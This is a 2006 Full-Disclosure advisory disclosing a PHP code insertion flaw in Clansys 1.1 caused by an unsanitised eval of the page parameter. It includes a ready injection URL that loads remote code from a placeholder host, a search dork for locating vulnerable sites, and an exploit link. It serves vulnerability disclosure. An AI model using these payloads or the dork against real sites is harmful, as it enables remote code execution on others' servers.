full-disclosure - Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon Apr 24 01:07:03 2006
From: nukedx at nukedx.com (Mustafa Can Bjorn IPEKCI)
Subject: Advisory: Clansys <= 1.1 PHP Code Insertion
	Vulnerability.


--Security Report--
Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 23/04/06 21:07 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: Clansys (http://www.clansys.de.vu/)
Version: 1.1 and prior versions must be affected.
About: Via this methods remote attacker can insert PHP code to Clansys.
The page parameter in index.php did not sanitized properly.
You can found vulnerable code at line 126 as an 
Code->
eval("?>" . $output);
<-Code
Purely nice coding isn't it?;)
Level: Highly Critical
---
How&Example: 
GET -> http://[victim]/[ClanSysPath]/index.php?page=[PHPCode]
EXAMPLE -> 
http://[victim]/[ClanSysPath]/index.php?page=<?include($s);?>&s=http://yourhost.com/cmd.txt?
With this example remote attacker can include arbitrary PHP files..
---
Timeline:
* 23/04/2006: Vulnerability found.
* 23/04/2006: Contacted with vendor and waiting reply.
---
Exploit:
http://www.nukedx.com/?getxpl=29
---
Dorks: "ClanSys v1.1"
---
Credits: WW, str0ke , n0m3rcy and all my friends
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=29
---
PS: Corrected example